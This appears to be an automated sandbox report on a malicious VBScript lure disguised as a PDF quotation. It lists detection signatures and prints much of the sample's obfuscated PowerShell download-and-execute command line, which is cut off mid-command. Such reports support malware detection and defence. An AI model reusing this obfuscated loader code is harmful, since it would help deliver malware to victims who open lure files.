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Windows
Analysis Report
Urgent Quotation Notification_pdf.vbs
Overview
General Information
Detection
Score: | 88 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell download and execute
AI detected suspicious sample
Potential malicious VBS script found (suspicious strings)
Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)
Sample has a suspicious name (potential lure to open the executable)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Classification
- System is w10x64
- wscript.exe (PID: 7592 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Urgen t Quotatio n Notifica tion_pdf.v bs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 7752 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "<#Canthar idating De sinficerer afgrderne s Mistaken ly Bunsen spadestres #>;$Befle aing='subc lans';<#Op inionsdann elserne le ia Entomop hthorous H edninger # >;$Essens= $host.Priv ateData;If ($Essens) {$Becolli er++;}func tion Fabri kskompleks erne($syng espil){$Br ace66=$Fra faldendes+ $syngespil .Length-$B ecollier;f or( $Acuse rl=3;$Acus erl -lt $B race66;$Ac userl+=4){ $stevedore rne+=$syng espil[$Acu serl];}$st evedorerne ;}function Trolddoms kunsternes ($Pretabul ation){ . ($Untense ness) ($Pr etabulatio n);}$Platt enslager=F abrikskomp lekserne ' DimMsejoDe hzsanimetl AntlE.sa a /spi5Unr.G a 0.ka Wax ( K,WAntiP ann PodRum oa awIdisA lm t N reT Me Lea1Fi l0Fel.ska0 si.;fje Tr tW.emi G,n Cry6Cla4Ta n; ,p stax Not6 ra4 I l;Pe Pr r AlvTin:Nya 1I t2Ou 1. mt.Bio0Ret )Ice AcGOv ee Elc Tok F do Mi/me t2Fli0 nf1 ,h0Ren0 t a1 nd0 B 1 ar AalFse miHalrPave vef FioW. ax Il/Tun1 As.2 ri1sn a. t0Hvi ' ;$Unentail ed=Fabriks komplekser ne ' F.U , ns alEGr R Eks-sarABe bg EleMa n TipTRes '; $Certifiab ility=Fabr ikskomplek serne ' Ge hRe t Unt hpFe sFum: Brn/Che/Op ddEjerLydi CovJaze n u.,ragA eo CaoMilg , elB,sesha. .oc.olo,o emFed/ P.u P cNo.?Po e.etxmedp Ko o Puras .tMa =Vaad FinoFngwMe .nUnll s o Te.a nodPr e& igiRidd ar=,la1Cl uTserFTegX Onyc.fdrPr eJP eWOutT D.yGPjamLy saEvic Na2 Gr hElejO r-DevV Trs m dL.aro,i dWcepxDisw ,es f.sse skBi gUnoB stv1tor7M g6Gyls G. ';$Tilskri ngskursuse t=Fabriksk ompleksern e 'F.b>Lac ';$Untens eness=Fabr ikskomplek serne ' Un iTinEEn xD o ';$Rembu rserne='Ko hoveder';$ bakie='\Bu mpenes.sam ';Trolddom skunsterne s (Fabriks komplekser ne 'Tre$ T eg mbl Hao mmb anaLo mlsk :EndD FesuvoltFr ,itr.aVacb Bll eePo =Mon$ lae Pan upvPre :Ka as,mpM isp CodOrd aRaatBaraT ek+ De$Ekk bD aa rak uniBroeO d ');Troldd omskunster nes (Fabri kskompleks erne 'Tan$ ,ksgD al F ooAnnbBl a Hylpha: K aP Torpole l,di Almbe lp vo ndrG artBle=sup $LimC evep rorApptsay iza f ai . kaFisbFali OrnlChaiHy ptWriyTen. CarsProp M ilTeli Ext P l(Pai$Pr aTd.wivesl O.s Huksa mrFo iCaln Zog scsti lkPosuB.dr s tsBa u T osPr.e aft Bla)B l ') ;Trolddoms kunsternes (Fabriksk ompleksern e 'Mol[.er N.ocePret. tu.Angs tr e,iarsmevH umiFe cgru es,rP ao l miLevnDeft MoMsu aCa sn ska olg slieB.yrAd n] Wr:Gth: BrssFree T cUnmu,anr Yppi nttsv ey InPChir briostitOu toRifcMejo tyrl Fo Bo f= st ,ys[ In.NUboeD. rtTpp.s os sofeOvecUn duN,tr Fri et ubyAfv PBjerKofoK retUnaowit cMatoKinls krTGluyski pPosesal]A i: ej:Y u T oclObjs Kv1sym2Mas ');$Certi fiability= $Preimport [0];$Forto lke=(Fabri kskompleks erne ' re$ BlagstaLsa no arBMula sjkLKon:Ge nC BrhMo,a .nnN asn,n diPoleLe.= ComNb teHo